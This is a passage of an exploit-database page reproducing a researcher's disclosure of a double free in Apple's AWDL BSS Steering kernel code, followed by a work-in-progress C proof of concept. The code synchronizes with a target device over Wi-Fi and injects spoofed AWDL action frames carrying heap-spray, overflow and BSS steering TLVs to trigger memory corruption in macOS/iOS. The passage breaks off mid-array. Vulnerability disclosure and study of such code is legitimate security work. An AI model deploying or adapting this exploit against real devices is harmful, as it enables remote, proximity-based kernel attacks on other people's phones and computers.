Share
## https://sploitus.com/exploit?id=1337DAY-ID-34609
#if 0
iOS/MacOS wifi proximity kernel double free in AWDL BSS Steering

As part of developing an exploit for CVE-2020-3843 (a heap overflow in AWDL) I've been looking at the code for "BSS Steering".
It just so happens that a pointer to a "BSS Steering message blob" directly follows the sync tree mac address inline buffer
in the awdl peer that we can overflow out of.

To actually get a BSS Steering message blob allocated requires driving the the IO80211PeerBssSteeringManager state machine
to BSS_STEERING_STATE_STEERING_SYNC_POST_EVAL and to set things up such that isRemotePeerSteeringNeeded will return true.

This will be the case if the target device is connected to a 5Ghz wifi network on a non-DFS channel. Note that the attacker
doesn't have to be connected to the same network.

The bug is that in IO80211AWDLPeer::populateBssSteeringMsgBlob if IO80211AWDLPeer::addPeerToUmiChain returns false (for example,
if (as in this case) because the flag in bit 11 of the first flags value in the data_path_tlv payload is 0) then 
populateBssSteeringMsgBlob frees _bssSteeringMsgBlob but fails to NULL out the pointer in the IO80211AWDLPeer object.

Note that the other error paths in this method do NULL out _bssSteeringMsgBlob.

When the peer structure is destroyed IO80211AWDLPeer::freeResources will be called which will free the _bssSteeringMsgBlob
a second time.

Note that there can be a considerable and controllable time period between the two frees, and attacker-controlled data
will continue to be processed.

REPRO:
This repro is pretty rough; this is just a current dump of my work-in-progress exploit but it will trigger the vulnerability
if you are unable to verify the issue from the source or your AWDL testing setup. I would rather report what I have as soon as possible.

This poc requires a linux machine with a wifi adaptor capable of 2.4Ghz injection. I am using a raspberry pi 3B running a kali
linux image with pre-built nexmon drivers for the broadcom wifi adaptor which support injection.

The injection uses libpcap so should work on any reasonable linux machine with an injection-capable adaptor.

If you are unable to build and run this repro I can just send you a full image you can flash on an SD card; please reach out to
me if you face any difficulties.

Note the comment further down about correctly setting the channel and enabling injection.

Note also that the target device must be connected to a 5Ghz wifi network on a non-DFS channel. I'm using an airport extreme for this.

Note also that you need to specify the target device's awdl0 mac address, on MacOS this is randomized per-boot, on iOS it's randomized
more often.

Tested against MacOS 10.15.3 19D76
#endif


#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <netinet/ether.h>

#include <netlink/netlink.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>

#include <linux/wireless.h>

#include <pcap/pcap.h>

#include <ev.h>

#include <pthread.h>

//#include "crc32.h"

// when building remember: cmake -DCMAKE_BUILD_TYPE=Release

/*
this code doesn't put the interface in to monitor mode, or set the channel
you have to do that first:

# create monitor mode interface:
iw phy phy0 interface add mon0 type monitor

# set the channel to 6 (2.4 GHz AWDL social channel)
iwconfig mon0 channel 6

# something isn't quite right in the setup yet (needs debugging)
# a workaround is to first run airodump-ng:
airodump-ng -i mon0 -c 6

# you should see some AWDL traffic there

# then run this exploit

useful resources on pcap/frame injection:
https://gist.github.com/jonhoo/7780260


get handle to monitor interface 
set channel
receive and parse packets
*/

void fail(const char* msg, ...) {
    va_list args;
    va_start(args, msg);
    printf("FAIL: ");
    vprintf(msg, args);
    printf("\n");
    exit(EXIT_FAILURE);
}

void log_msg(const char* msg, ...) {
    va_list args;
    va_start(args, msg);
    printf("LOG: ");
    vprintf(msg, args);
    printf("\n");
}

int generic_sock = -1;
char* injection_interface_name = NULL;

int get_generic_socket() {
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    if (fd < 0) {
        printf("unable to get AF_INET socket...\n");
    }
    return fd;
}

void set_injection_power_level(char* interface_name, int power_level) {
    if (generic_sock == -1) {
        generic_sock = get_generic_socket();
    }

    struct iwreq req = {0};

    strncpy(req.ifr_name, interface_name, IFNAMSIZ);

    req.u.txpower.value = power_level;
    req.u.txpower.fixed = 1;
    req.u.txpower.flags = 0; // value unit is is dBm

    int err = ioctl(generic_sock, SIOCSIWTXPOW, &req);
    if (err != 0) {
        log_msg("unable to set power level for interface %s to %d", interface_name, power_level);
    }
}

int current_power_level = 30;

void decrease_power_level() {
    current_power_level -= 1;;
    printf("setting power level to: %d\n", current_power_level);
    set_injection_power_level(injection_interface_name, current_power_level);
}

void set_high_injection_power_level() {
    set_injection_power_level(injection_interface_name, 100);
}

void set_low_injection_power_level() {
    set_injection_power_level(injection_interface_name, 1);
}

void setup_nl_socket() {
    struct nl_sock* sock = nl_socket_alloc();
    if (sock == NULL) {
        fail("nl_socket_alloc return NULL");
    }
    log_msg("allocated netlink socket: %p", sock);

    int err = genl_connect(sock);
    if (err != 0) {
        fail("genl_connect returned error code: %d", err);
    }
    log_msg("connected netlink socket");

    int nl_80211_family_id = genl_ctrl_resolve(sock, "nl80211");
    if (nl_80211_family_id < 0) {
        fail("unable to resolve nl80211 to a family id, not supported?");
    }
    log_msg("resolved nl80211 to %d\n", nl_80211_family_id);
}

// pass in an interface which is already in monitor mode (mon0)
pcap_t* setup_wlan_device(const char* if_name) {
    unsigned int if_index = if_nametoindex(if_name);
    if (if_index == 0) {
        fail("unable to resolve the network inteface %s to a valid interface number, check the interface name", if_name);
    }
    log_msg("resolved interface %s to index %d", if_name, if_index);

    // open the device
    char errbuf[PCAP_ERRBUF_SIZE] = {0};
    pcap_t* pcap_handle = pcap_create(if_name, errbuf);
    if (pcap_handle == NULL) {
        fail("unable to pcap_create handle for interface %s. pcap error message: %s", if_name, errbuf);
    }
    log_msg("created pcap device handle");

    int pcap_err;
    pcap_err = pcap_set_snaplen(pcap_handle, 0xffff);
    if (pcap_err != 0) {
        fail("pcap_set_snaplen failed");
    }

    pcap_err = pcap_set_promisc(pcap_handle, 1);
    if (pcap_err != 0) {
        fail("pcap_set_promisc failed");
    }

    // set the minimum timeout... 
    pcap_err = pcap_set_timeout(pcap_handle, 1);
    if (pcap_err != 0) {
        fail("pcap_set_timeout failed");
    }

    // activate the handle
    pcap_err = pcap_activate(pcap_handle);
    if (pcap_err != 0) {
        fail("pcap_activate failed");
    }

    pcap_err = pcap_setnonblock(pcap_handle, 1, errbuf);
    if (pcap_err != 0) {
        fail("pcap_setnonblock failed with pcap error message: %s", errbuf);
    }

    pcap_err = pcap_setdirection(pcap_handle, PCAP_D_IN);
    if (pcap_err != 0) {
        log_msg("unable to restrict packet direction, continuing...");
    }

    // check that we're going to get radiotap headers
    int datalink_type = pcap_datalink(pcap_handle);
    if (datalink_type != DLT_IEEE802_11_RADIO) {
        fail("this handle isn't going to give us radiotap headers");
    }

    // apply a BSSID filter limiting us to packets on the AWDL BSSID
    // that BSSID is hardcoded for AWDL

    // for now, skip doing that, lets just get some packets

    /*
    int pcap_fd = pcap_get_selectable_fd(pcap_handle);
    if (pcap_fd == -1) {
        fail("unable to get selectable fd\n");
    }

    log_msg("got pcap fd %d", pcap_fd);

    return pcap_fd;
    */

    return pcap_handle;
}

// Many of these structures are from https://github.com/seemoo-lab/owl


struct ieee80211_radiotap_header_compat {
    uint8_t version;
    uint8_t pad;
    uint16_t len;
    uint32_t present;
} __attribute__((packed));

struct ieee80211_hdr {
    uint16_t frame_control;
    uint16_t duration_id;
    struct ether_addr dst_addr;
    struct ether_addr src_addr;
    struct ether_addr bssid_addr;
    uint16_t seq_ctrl;
} __attribute__((packed));

struct oui {
    uint8_t bytes[3];
} __attribute__((packed));

struct awdl_action {
    uint8_t category;
    struct oui oui;
    uint8_t type;
    uint8_t version;
    uint8_t subtype;
    uint8_t reserved;
    uint32_t phy_tx;
    uint32_t target_tx;
} __attribute__((packed));

const struct oui awdl_oui = {0x00, 0x17, 0xf2};

struct awdl_sync_params_tlv {
    uint8_t type;
    uint16_t length; // +0x01
    uint8_t next_aw_channel; // +0x03
    uint16_t tx_down_counter; // +0x04
    uint8_t master_channel; // +0x06
    uint8_t guard_time; // +0x07
    uint16_t aw_period; // +0x08 /* AW period in TUs */
    uint16_t af_period; // +0x0a /* how often action frames are sent out in TUs */
    uint16_t flags; // +0x0c
    uint16_t aw_ext_length; // +0x0e /* length of an extended AW in TUs */
    uint16_t aw_com_length; // +0x10/* length of a regular AW in TUs */
    uint16_t remaining_aw_length; // +0x12
    uint8_t min_ext; // +0x14
    uint8_t max_ext_multicast; // +0x15
    uint8_t max_ext_unicast; // +0x16
    uint8_t max_ext_af; // +0x17
    struct ether_addr master_addr; // +0x18
    uint8_t presence_mode;// +0x1e
    uint8_t reserved; // +0x1f
    uint16_t next_aw_seq; // +0x20
    uint16_t ap_alignment; // 0x22              // +0x1f
    
    // CHANSEQ
    uint8_t count; // +0x24                      // +0x21
    uint8_t encoding; // +0x25                   // +0x22
    uint8_t duplicate_count; // +0x26            // +0x23
    uint8_t step_count; // +0x27                 // +0x24
    uint16_t fill_channel; //+0x28               // +0x25

    uint16_t seq[16]; //+0x2a
    // +0x4a

      // +0x24 must be a length (chanseq len? and must be less than 0x1f
/* struct awdl_chanseq chanseq; */
    /* uint8_t pad[2]; */
} __attribute__((__packed__));

struct service_response_tlv {
    uint8_t type;
    uint16_t len;
    uint16_t s_1;
    uint8_t key_buf[2];
    uint16_t v_1;
    uint16_t v_2;
    uint16_t val_buf[2];
} __attribute__((packed));


struct data_path_tlv {
    uint8_t type;
    uint16_t len;
    uint16_t flags;
    char country_code[3];
    uint16_t social_channels;
    struct ether_addr awdl_addr;
    uint16_t ext_flags;
} __attribute__((packed));

struct unicast_data_path_tlv {
    uint8_t type;
    uint16_t length;
    uint16_t flags;
    uint8_t country_code[3];
    uint16_t social_channel_map;
    uint8_t infra_bssid[6];
    uint16_t infra_channel;
    uint8_t infra_addr[6];
    uint8_t awdl_addr[6];
    uint32_t unicast_options;
} __attribute__((packed));

struct service_params_tlv {
    uint8_t type;
    uint16_t len;
    uint8_t unk[3];
    uint16_t sui;
    uint32_t bitmask;
} __attribute__((packed));

struct sync_tree_tlv {
    uint8_t type;
    uint16_t length;
    uint8_t buf[0];
} __attribute__((packed));

struct bss_steering_tlv {
    uint8_t type;
    uint16_t length;
    uint32_t steeringMsgID;
    uint32_t steeringMsgLen;
    uint32_t peer_count;
    struct ether_addr peer_macs[8];
    struct ether_addr BSSID;
    uint32_t steeringTimeoutThreshold;
    uint32_t SSID_len;
    uint8_t infra_channel;
    uint32_t steeringCmdFlags;
    char SSID[32];
} __attribute__((packed));

struct ht_caps_tlv {
    uint8_t type;
    uint16_t length;
    uint16_t unk;
    uint16_t ht_capabilities;
    uint8_t ampdu_capabilities;
    uint8_t rx_mcs;
    uint16_t unk_2;
} __attribute__((packed));

// the timer for synchronizing to the target:
struct ev_loop* loop;
ev_timer sync_timer;

void inject_sync_callback(EV_P_ ev_timer* w, int revents);

pcap_t* global_pcap_handle = NULL;

struct ether_addr target_mac = {0};

/*
  ieee80211_hdr
  awdl_action
  TLVs
*/

void hexdump(uint8_t* bytes, uint32_t size) {
    int col = 0;
    for(; size > 0; size--) {
        printf("%02x ", *bytes++);
        col += 1;
        col %= 16;
        if (col == 0) {
            printf("\n");
        }
    }
    printf("\n");
}

// length the in the TLV header already verified to be valid
void parse_sync_params_tlv(uint8_t* buf) {
    struct awdl_sync_params_tlv* sp = (struct awdl_sync_params_tlv*)buf;

    printf("next_aw_channel: 0x%x\n", sp->next_aw_channel);
    printf("tx_down_counter: 0x%x\n", sp->tx_down_counter); // how far along we are?
    printf("aw_period: 0x%x\n", sp->aw_period);
    printf("next_aw_seq: 0x%x\n", sp->next_aw_seq);
    printf("ap_alignment: 0x%x\n", sp->ap_alignment);
    printf("aw_com_length: 0x%x\n", sp->aw_com_length);
    printf("remaining_aw_length: 0x%x\n", sp->remaining_aw_length); // how many TUs to go?
    printf("presence mode: %x\n", sp->presence_mode);
    printf("chanseq count: %x\n", sp->count);
    printf(" { ");
    for (int i = 0; i < 16; i++) {
        printf("%04x ", sp->seq[i]);
    }
    printf("}\n");

    uint32_t ms_until_target_channel = 0;

    // we're just going to assume that the protocol is operating normally
    // and not do too much thinking here:

    uint16_t seq = sp->next_aw_seq;

    // we are going to assume 64 aw's
    // which aw are we currently in?
    uint16_t current_aw = seq % 64;

    // how many TU's are left in the EAW?
    uint16_t remaining_tu_in_eaw = sp->tx_down_counter;

    // from that we can work out how many ms until the start of the next channel
    // entry in the sequence:
    ms_until_target_channel = remaining_tu_in_eaw;

    // which EAW are we in?
    uint16_t current_eaw = current_aw / 4;

    // so after ms_until_target_channel elapses, we will be in the next EAW
    // now loop through the channel seq to find channel 6, adding the required

    uint16_t test_eaw = current_eaw+1;
    for (int i = 0; i < 16; i++) {
        uint16_t seq_val = sp->seq[test_eaw];
        uint8_t seq_chan = seq_val >> 8;
        if (seq_chan == 6) {
            break;
        }
        test_eaw += 1;
        test_eaw %= 16;
        ms_until_target_channel += 64; // one EAW
    }

    printf("%d ms until start of target channel AW\n", ms_until_target_channel);

    // schedule the injection for then...
    // if it's really soon, add one time round the loop:
    if (ms_until_target_channel < 100) {
        // 64 * 16 = 1024
        ms_until_target_channel += 1024;
    }

    ev_timer_init(&sync_timer,
                  inject_sync_callback,
                  0.001 * ms_until_target_channel, // when to start timer
                  0.001 * 1024);  // interval between repeats
    ev_timer_start(loop, &sync_timer);
    
    // stop us monitoring packets, we've got what we want
    pcap_breakloop(global_pcap_handle);
}

void parse_tlvs(uint8_t* buf, uint32_t remaining) {
    //hexdump(buf, remaining);
    for (;;) {
        if (remaining == 0) {
            return;
        }

        uint8_t* tlv = buf;

        uint8_t type = *buf++;
        remaining -= 1;

        if (remaining < 2) {
            log_msg("invalid TLV, ignoring (no space for length)");
            return;
        }

        uint16_t len = *(uint16_t*)buf;
        buf += 2;
        remaining -= 2;
        
        if (remaining < len) {
            log_msg("invalid TLV, ignoring (length is 0x%04x, but remaining is only 0x%x)", len, remaining);
            return;
        }

        // could dump out the TLV contents to have a look here

        log_msg("TLV %02x %04x", type, len);
        switch(type) {
          case 4:
            parse_sync_params_tlv(tlv);
            break;
        }
        //hexdump(buf, len);
        buf += len;
        remaining -= len;
    }
}

uint8_t awdl_version(int major, int minor) {
    return ((uint8_t) (((major) << 4) & 0xf0) | ((minor) & 0x0f));
}

#define IEEE80211_VENDOR_SPECIFIC 127
#define AWDL_TYPE 8
#define AWDL_VERSION_COMPAT awdl_version(1,0)

#define AWDL_ACTION_PSF 0
#define AWDL_ACTION_MIF 3

void handle_awdl_action_frame(struct ieee80211_hdr* hdr, uint32_t remaining) {
    struct awdl_action* action_header = (struct awdl_action*)(hdr+1);
    remaining -= sizeof(struct ieee80211_hdr);

    if (remaining < sizeof(struct awdl_action)) {
        log_msg("not enough data for awdl_action header, ignoring");
        return;
    }

    // some more checks that this really is an AWDL action frame:
    if (action_header->category != IEEE80211_VENDOR_SPECIFIC) {
        log_msg("bad category (0x%0x), not AWDL", action_header->category);
        return;
    }

    if (memcmp(&action_header->oui, &awdl_oui, 3) != 0) {
        log_msg("bad oui, not AWDL");
        return;
    }

    if (action_header->type != AWDL_TYPE) {
        log_msg("type isn't AWDL");
        return;
    }

    if (action_header->version != AWDL_VERSION_COMPAT) {
        log_msg("type isn't AWDL_VERSION_COMPAT (1,0)");
        return;
    }

    uint8_t subtype = action_header->subtype;
    if (subtype != AWDL_ACTION_PSF && subtype != AWDL_ACTION_MIF) {
        log_msg("subtype isn't PSF or MIF (0x%x)", subtype);
        return;
    }

    // we can actually sync with either of these, whichever we get first will do:

    if (subtype == AWDL_ACTION_PSF) {
        log_msg("this is an AWDL PSF Action Frame");
    } else if (subtype == AWDL_ACTION_MIF) {
        log_msg("this is an AWDL MIF Action Frame");
    }

    static uint32_t prev_phy_tx = 0;
    printf("target_tx: %08x\n", action_header->phy_tx);
    uint32_t phy_delta = action_header->phy_tx - prev_phy_tx;
    printf("%08x Us elapsed since last frame (0x%04x TU)\n",
            phy_delta,
            phy_delta/1000);
    prev_phy_tx = action_header->phy_tx;

    parse_tlvs((uint8_t*)(action_header+1), remaining-sizeof(struct awdl_action));
}

#define IEEE80211_FCTL_FTYPE 0x000c
#define IEEE80211_FCTL_STYPE 0x00f0

#define IEEE80211_FTYPE_MGMT   0x0000
#define IEEE80211_STYPE_ACTION 0x00d0

const struct ether_addr awdl_bssid = {0x00, 0x25, 0x00, 0xff, 0x94, 0x73};

void psf_packet_handler(unsigned char* user,
                       const struct pcap_pkthdr *h,
                       const unsigned char *bytes) {
    struct ether_addr* target_mac = (struct ether_addr*)user;

    if (h->caplen < sizeof(struct ieee80211_radiotap_header_compat)) {
        // log_msg("captured packet not big enough for radiotap header, ignoring");
        return;
    }

    // we can get stuff like RSSI and receive time from the radiotap headers
    // for now, skip them

    uint16_t radiotap_len = ((struct ieee80211_radiotap_header_compat *)bytes)->len;
    //log_msg("radiotap len: %d\n", radiotap_len);
    bytes += radiotap_len;

    uint32_t remaining = h->caplen - radiotap_len;

    // h->caplen also include a 4 byte checksum, decrement the length by that
    // not checking the checksum yet
    if (remaining < 4) {
        log_msg("not enough space for the checksum, ignoring");
        return;
    }
    remaining -= 4;

    if (remaining < sizeof(struct ieee80211_hdr)) {
        // log_msg("captured packed not big enough for ieee80211 header, ignoring");
        return;
    }

    // now should have ieee80211 header:
    struct ieee80211_hdr* hdr = (struct ieee80211_hdr *)bytes;    

    // what type of packet is this? looking for AWDL action frames
    // this is ignoring AMSDUs, is that okay?
    if ((hdr->frame_control & (IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE))
                           ==
                              (IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_ACTION))
    {
        log_msg("  dst: %s", ether_ntoa(&hdr->dst_addr));
        log_msg("  src: %s", ether_ntoa(&hdr->src_addr));
        log_msg("bssid: %s", ether_ntoa(&hdr->bssid_addr));
        
        if (memcmp(&hdr->bssid_addr, &awdl_bssid, 6) == 0) {
            // bssid matches hardcoded AWDL bssid:
            log_msg("AWDL ACTION FRAME");
            // is it from the target MAC?
            if ((memcmp(&hdr->src_addr, target_mac, sizeof(struct ether_addr))) == 0) {
                handle_awdl_action_frame(hdr, remaining);
            } else {
                log_msg("action frame from not from target MAC, ignoring");
            }
        } else {
            log_msg("got a managment action frame, but BSSID isn't AWDL");
        }

    }
}

void sync_timing(pcap_t* pcap_handle, struct ether_addr* target_mac) {
    // set this so we can break out of the loop once we sync
    global_pcap_handle = pcap_handle;
    int pcap_err = pcap_loop(pcap_handle, 0, psf_packet_handler, (void*)target_mac);
    
    if (pcap_err == -2) {
        // pcap_breakloop was called, indicating that we broke out of the monitor loop
        // after successfully synchronizing our clocks
        log_msg("back in sync_timing after pcap_breakloop()");
    }
}

// flags is a single byte containing 8 flag fields
#define IEEE80211_RADIOTAP_FLAGS 1

// rate is a single byte
#define IEEE80211_RADIOTAP_RATE 2

// tell the driver to add the FCS checksum for us
#define IEEE80211_RADIOTAP_F_FCS 0x10

uint64_t clock_time_us() {
    struct timespec now = {0};

    int err = clock_gettime(CLOCK_MONOTONIC, &now);
    if (err) {
        fail("can't get current time");
    }
    uint64_t us = now.tv_sec * 1000000;
    us += now.tv_nsec / 1000;
    return us;
}

static const uint8_t u8aRadiotapHeader[] = {

  0x00, 0x00, // <-- radiotap version (ignore this)
  0x18, 0x00, // <-- number of bytes in our header (count the number of "0x"s)

  /**
   * The next field is a bitmap of which options we are including.
   * The full list of which field is which option is in ieee80211_radiotap.h,
   * but I've chosen to include:
   *   0x00 0x01: timestamp
   *   0x00 0x02: flags
   *   0x00 0x03: rate
   *   0x00 0x04: channel
   *   0x80 0x00: tx flags (seems silly to have this AND flags, but oh well)
   */
  0x0f, 0x80, 0x00, 0x00,

  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <-- timestamp

  /**
   * This is the first set of flags, and we've set the bit corresponding to
   * IEEE80211_RADIOTAP_F_FCS, meaning we want the card to add a FCS at the end
   * of our buffer for us.
   */
  0x10,

  0x00, // <-- rate
  0x00, 0x00, 0x00, 0x00, // <-- channel

  /**
   * This is the second set of flags, specifically related to transmissions. The
   * bit we've set is IEEE80211_RADIOTAP_F_TX_NOACK, which means the card won't
   * wait for an ACK for this frame, and that it won't retry if it doesn't get
   * one.
   */
  0x08, 0x00,
};

/*
A minimal for macos seems to require at least TLV 4 (sync params) and 18 (channel sequence)
indeed, those must be the first two, in that order (see awdl_recv_action_frame in AirPortBrcm)
*/

// struct definition from OWL:
#define AWDL_SYNCHRONIZATION_PARAMETERS_TLV 4

uint32_t add_sync_tree_tlv(uint8_t* buf) {
    struct sync_tree_tlv* st = (struct sync_tree_tlv*)buf;
    
    // there are 440 bytes before we hit the next chunk
    st->type = 0x14;
    st->length = 512;
    memset(st->buf, 'A', 512);

    return 512+3;
}


uint32_t add_service_response_tlv(uint8_t* buf) {
    struct service_response_tlv* sr = (struct service_response_tlv*)buf;
    sr->type = 2;
    sr->len = sizeof(struct service_response_tlv) - 3;
    sr->s_1 = 2;
    sr->key_buf[0] = 'A';
    sr->key_buf[1] = 'B';
    sr->v_1 = 0x1800;
    sr->v_2 = 0x10;
    sr->val_buf[0] = 'C';
    sr->val_buf[1] = 'D';

    return sizeof(struct service_response_tlv);
}

uint32_t add_data_path_tlv(uint8_t* buf, uint8_t* mac) {
    struct data_path_tlv* dp = (struct data_path_tlv*)buf;
    dp->type = 0xc;
    dp->len = sizeof(struct data_path_tlv) - 3;
    dp->flags = 0x8f24;
    memcpy(&dp->awdl_addr, mac, 6);
    dp->country_code[0] = 'X';
    dp->country_code[1] = '0';
    dp->country_code[2] = 0;
    dp->social_channels = 1;
    dp->ext_flags = 0;

    return sizeof(struct data_path_tlv);
}

uint32_t add_unicast_data_path_tlv(uint8_t* buf) {
    struct unicast_data_path_tlv* dp = (struct unicast_data_path_tlv*)buf;
    dp->type = 0xc;
    dp->length = sizeof(struct unicast_data_path_tlv) - 3;
    dp->flags = 0x1307;
    memset(dp->country_code, 'A', 3);
    dp->social_channel_map = 1;
    uint8_t infra_bssid[] = {0x22, 0x12, 0x21, 0x12, 0x21, 0x12};
    memcpy(dp->infra_bssid, infra_bssid, 6);
    //dp->infra_channel = 0x74; //6;
    dp->infra_channel = 8;

    uint8_t infra_addr[] = {0x22, 0x33, 0x11, 0x12, 0x21, 0x12};
    memcpy(dp->infra_addr, infra_addr, 6);

    uint8_t awdl_addr[] = {0x22, 0x44, 0x11, 0x12, 0x21, 0x12};
    memcpy(dp->awdl_addr, awdl_addr, 6);

    dp->unicast_options = 0x44434241;

    return sizeof(struct unicast_data_path_tlv);
}

uint32_t add_service_params_tlv(uint8_t* buf) {
    struct service_params_tlv* sp = (struct service_params_tlv*)buf;

    sp->type = 6;
    sp->len = sizeof(struct service_params_tlv) - 3;
    sp->unk[0] = 0;
    sp->unk[1] = 0;
    sp->unk[2] = 0;
    sp->sui = 0;
    sp->bitmask = 0;

    return sizeof(struct service_params_tlv);
}

uint32_t add_sync_params_tlv(uint8_t* buf) {
    struct awdl_sync_params_tlv* sp = (struct awdl_sync_params_tlv*)buf;
    sp->type = AWDL_SYNCHRONIZATION_PARAMETERS_TLV;
    sp->length = sizeof(struct awdl_sync_params_tlv) - 3; // fill in later

    sp->next_aw_channel = 6;    // obviously, when we want to talk the protocol properly
    sp->tx_down_counter = 0x10; // these need to be real values
    sp->master_channel = 6;
    sp->guard_time = 0;
    sp->aw_period = 0x10;
    sp->af_period = 0x6e;
    sp->flags = 0x1800;
    sp->aw_ext_length = 0x10;
    sp->aw_com_length = 0x10;
    sp->remaining_aw_length = 0;
    sp->min_ext = 3;
    sp->max_ext_multicast = 3;
    sp->max_ext_unicast = 3;
    sp->max_ext_af = 3;
    uint8_t master_mac[] = {0x44, 0x44, 0x44, 0x55, 0x55, 0x55};
    memcpy(&sp->master_addr, master_mac, 6);
    //sp->master_addr = {0x44, 0x44, 0x44, 0x55, 0x55, 0x55};
    sp->presence_mode = 4;
    sp->reserved = 0;
    sp->next_aw_seq = 1234;
    sp->ap_alignment = 0;

    sp->count = 0xf;
    sp->encoding = 3;
    sp->duplicate_count = 0;
    sp->step_count = 3;
    sp->fill_channel = 0xffff;

    for (int i = 0; i < 16; i++) {
        sp->seq[i] = 0x5106; // isn't this wrong?
    }

    return sizeof(struct awdl_sync_params_tlv);
}

uint32_t add_bss_steering_tlv(uint8_t* buf) {
    struct bss_steering_tlv* bs = (struct bss_steering_tlv*)buf;
    memset(bs, 0, sizeof(struct bss_steering_tlv));

    bs->type = 0x1d;
    bs->length = sizeof(struct bss_steering_tlv) - 3;

    bs->steeringMsgID = 6;
    bs->steeringMsgLen = sizeof(struct bss_steering_tlv)-3-8; // ??
    printf("steeringMsgLen:0x%x\n", bs->steeringMsgLen);
    bs->peer_count = 1;
    
    //uint8_t peer_mac[6] = {0x22, 0x44, 0x66, 0x88, 0xAA, 0xCC};
    //uint8_t peer_mac[6] = {0x22, 0x22, 0x00, 0x00, 0x00, 0x00}; // set our own mac here?
    uint8_t peer_mac[6] = {0x22, 0x33, 0x33, 0x33, 0x00, 0x00};
    memcpy(bs->peer_macs, peer_mac, 6);

    uint8_t bssid[6] = {0x22, 0x33, 0x44, 0x55, 0x66, 0x77};
    memcpy(&bs->BSSID, bssid, 6);

    bs->steeringTimeoutThreshold = 0x424242;
    char* ssid_str = "FAKENET";
    bs->SSID_len = strlen(ssid_str);

    bs->infra_channel = 0x74; //6;
    bs->steeringCmdFlags = 0x200; //0; //0x200; // ??
    strcpy(bs->SSID, ssid_str);

    return sizeof(struct bss_steering_tlv);
}

uint32_t add_ht_caps_tlv(uint8_t* buf) {
    struct ht_caps_tlv* ht = (struct ht_caps_tlv*)buf;
    ht->type = 7;
    ht->length = sizeof(struct ht_caps_tlv) - 3;

    ht->unk = 0;
    ht->ht_capabilities = 0x11ce; // these are from OWL
    ht->ampdu_capabilities = 0x1b;
    ht->rx_mcs = 0xff;
    ht->unk_2 = 0;

    return sizeof(struct ht_caps_tlv);
}


void* build_awdl_packet(uint32_t* out_len,
                        uint8_t* src_mac,
                        int do_service_response_spray,
                        int do_overflow,
                        int do_unicast_data_path,
                        int do_bss_steering)
{
    // radiotap header
    // 80211 header
    // AWDL header
    // tvls
    // checksum (can let hardware add this, make sure to set correct args in radiotap header)

    uint8_t* buf = malloc(0x10000);
    memset(buf, 0, 0x10000);

    uint8_t* ptr = buf;

    /* radiotap header */
    memcpy(ptr, u8aRadiotapHeader, sizeof(u8aRadiotapHeader));
    ptr += sizeof(u8aRadiotapHeader);

    /* 80211 header */
    struct ieee80211_hdr* hdr = (struct ieee80211_hdr*)ptr;
    ptr += sizeof(struct ieee80211_hdr);

    hdr->frame_control = IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_ACTION;
    hdr->duration_id = 0;
    uint8_t dst_mac[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
    //memcpy(&hdr->dst_addr, dst_mac, sizeof(dst_mac));
    memcpy(&hdr->dst_addr, &target_mac, sizeof(dst_mac));
    //uint8_t src_mac[] = {0x22, 0x22, 0x22, 0x44, 0x55, 0x66};
    memcpy(&hdr->src_addr, src_mac, sizeof(src_mac));
    hdr->bssid_addr  = awdl_bssid;
    hdr->seq_ctrl    = 0; // is this important?

    /* awdl action header */
    struct awdl_action* action = (struct awdl_action*)ptr;
    ptr += sizeof(struct awdl_action);

    action->category = IEEE80211_VENDOR_SPECIFIC;
    action->oui = awdl_oui;
    action->type = AWDL_TYPE;
    action->version = AWDL_VERSION_COMPAT;
    action->subtype = AWDL_ACTION_MIF; // or MIF
    action->reserved = 0;
    action->phy_tx = clock_time_us();
    action->target_tx = action->phy_tx;

    // 0x4
    uint32_t tlv_len = add_sync_params_tlv(ptr);
    ptr += tlv_len;

    // 0xc
    if (do_unicast_data_path) {
        tlv_len = add_unicast_data_path_tlv(ptr);
        ptr += tlv_len;
    } else {
        tlv_len = add_data_path_tlv(ptr, src_mac);
        ptr += tlv_len;
    }

    tlv_len = add_ht_caps_tlv(ptr);
    ptr += tlv_len;

    if (do_bss_steering) {
        tlv_len = add_bss_steering_tlv(ptr);
        ptr += tlv_len;
    }

    if (do_service_response_spray) {

        // 0x6
        tlv_len = add_service_params_tlv(ptr);
        ptr += tlv_len;

        // service response is 15 bytes, each one causes a 0x1800 byte kalloc
        for (int i = 0; i < 50; i++) {
            // 0x02
            tlv_len = add_service_response_tlv(ptr);
            ptr += tlv_len;
        }
    }

    if (do_overflow) {
        tlv_len = add_sync_tree_tlv(ptr);
        ptr += tlv_len;
    }

/*
    uint32_t* crc = (uint32_t*)ptr;
    ptr += sizeof(uint32_t);

    *crc = crc32(buf, ((uint32_t)(ptr-buf))-4);
*/
    //printf("crc32:%08x\n", crc32(buf, (uint32_t)(ptr-buf)));
    
    *out_len = (uint32_t)(ptr-buf);

    //hexdump(buf, *out_len);

    return buf;
}

/*
 inject an AWDL action frame to another device, with a spoofed sender mac
*/
void inject_awdl_packet(pcap_t* pcap_handle,
                        uint8_t* src_mac,
                        int do_service_response_spray,
                        int do_overflow,
                        int do_unicast_data_path,
                        int do_bss_steering) {
    uint32_t len = 0;
    void* buf = build_awdl_packet(&len, src_mac, do_service_response_spray, do_overflow, do_unicast_data_path, do_bss_steering);
    
    // why is this suddenly needed? length goes wrong somewhere
    len += 4;

    int pcap_err;
    // or pcap_sendpacket
    pcap_err = pcap_inject(pcap_handle, buf, len);
    if (pcap_err == PCAP_ERROR) {
        log_msg("pcap_inject failed with PCAP_ERROR");
        pcap_perror(pcap_handle, "inject failed");
    }

    free(buf);
}

uint32_t mac_cnt = 0;
uint8_t src_mac[] = {0x22, 0x22, 0x00, 0x00, 0x00, 0x00};

uint8_t type_2_spray_mac[] = {0x22, 0x22, 0x00, 0x00, 0x00, 0x22};

uint8_t spoof_macs[4][6] = {
    {0x22, 0x33, 0x00, 0x00, 0x00, 0x00},
    {0x22, 0x44, 0x00, 0x00, 0x00, 0x00},
    {0x22, 0x55, 0x00, 0x00, 0x00, 0x00},
